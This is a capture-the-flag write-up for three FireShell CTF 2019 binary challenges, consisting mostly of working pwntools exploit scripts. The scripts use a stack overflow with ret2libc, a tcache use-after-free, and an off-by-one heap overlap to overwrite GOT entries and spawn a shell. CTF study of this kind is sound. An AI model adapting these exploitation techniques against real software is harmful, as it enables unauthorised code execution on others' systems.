# FireShell CTF 2019 ###### tags: `2019 pwn challenge` ## Leakless simple buffer overflow problem + leak address with puts.plt ```python= from pwn import * p = process('./leakless') elf = ELF('./leakless') libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') feed_me = 0x080485CB sh = 0x0015ba0b def leak(address): payload = 'A'*0x4c + p32(elf.plt['puts']) + p32(feed_me) + p32(address) p.send(payload) data = p.recv(4) p.recvline() return data leak = u32(leak(elf.got['puts'])) - libc.sym['puts'] sh = sh + leak log.info(hex(leak)) payload = 'A'*0x4c + p32(leak+libc.sym['system']) + 'A'*4 + p32(sh) p.send(payload) p.interactive() ``` ## babyheap Use-after-free vulnerbility, also, the challenge is using libc_2.26, which means it uses tcache. We can simply overwrite the freed tcache bin with the address of delete, create checks, so that we can have another chance to write. We also overwrite `atoi.got` with system address, and finally call `atoi("/bin/sh")` to get shell. ```python= from pwn import * #p = process('./babyheaptmp', env={'LD_PRELOAD':'/opt/libc_2.26/libc.so.6'}) p = process('./babyheaptmp') elf = ELF('./babyheaptmp') libc = ELF('/glibc/x64/2.26/lib/libc-2.26.so') def create(): p.recvuntil('> ') p.sendline(str(1)) def delete(): p.recvuntil('> ') p.sendline(str(4)) def edit(data): p.recvuntil('> ') p.sendline(str(2)) p.recvuntil('? ') p.send(data) def show(): p.recvuntil('> ') p.sendline(str(3)) def fill(data): p.recvuntil('> ') p.sendline(str(1337)) p.recvuntil('Fill ') p.send(data) create() delete() edit(p64(0x06020A0)) create() fill(p64(0)*5 + p64(elf.got['atoi'])) show() p.recvuntil('Content: ') libc_base = u64(p.recvline()[:-1].ljust(8, '\x00')) - libc.sym['atoi'] log.info('libc base : ' + hex(libc_base)) system = libc_base + libc.sym['system'] edit(p64(system)) p.recvuntil('> ') p.send('/bin/sh\x00') p.interactive() ``` ## quotes_list `edit()` off-by-one results in heap overlap + tcache poisoning => overwrite atoi.got with system ```python from pwn import * #context.log_level = 'DEBUG' p = process('./quotes_list') elf = ELF('./quotes_list') libc = ELF('./libc.so.6') def create(length, content): p.recvuntil('> ') p.sendline(str(1)) p.recvuntil(': ') p.sendline(str(length)) p.recvuntil(': ') p.send(content) def edit(idx, content): p.recvuntil('> ') p.sendline(str(2)) p.recvuntil(': ') p.sendline(str(idx)) p.recvuntil(': ') p.send(content) def show(idx): p.recvuntil('> ') p.sendline(str(3)) p.recvuntil(': ') p.sendline(str(idx)) def delete(idx): p.recvuntil('> ') p.sendline(str(4)) p.recvuntil(': ') p.sendline(str(idx)) create(0x68, 'A') #0 create(0x500, 'A'*8) #1 create(0x68, 'B'*8) #2 create(0x500, 'A'*8) #3 create(0x60, '\x00'*0x50 + p64(0) + p64(0x71)) #4 delete(3) create(0x500, 'A') show(3) p.recvuntil(': ') libc_base = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0x3aec41 log.info('libc base : ' + hex(libc_base)) delete(1) edit(2, '\x00'*0x60 + p64(0x580) + '\x00') edit(3, '\x00'*(0x500-0x8) + p64(0x71)) edit(0, '\x00'*0x68 + '\x81') delete(2) delete(3) system = libc_base + libc.sym['system'] create(0x600, '\x00'*0x500 + p64(0) + p64(0x70) + p64(elf.got['atoi'])) #1 create(0x68, 'A') create(0x68, p64(system)) p.recvuntil('> ') p.send('/bin/sh\x00') p.interactive() ```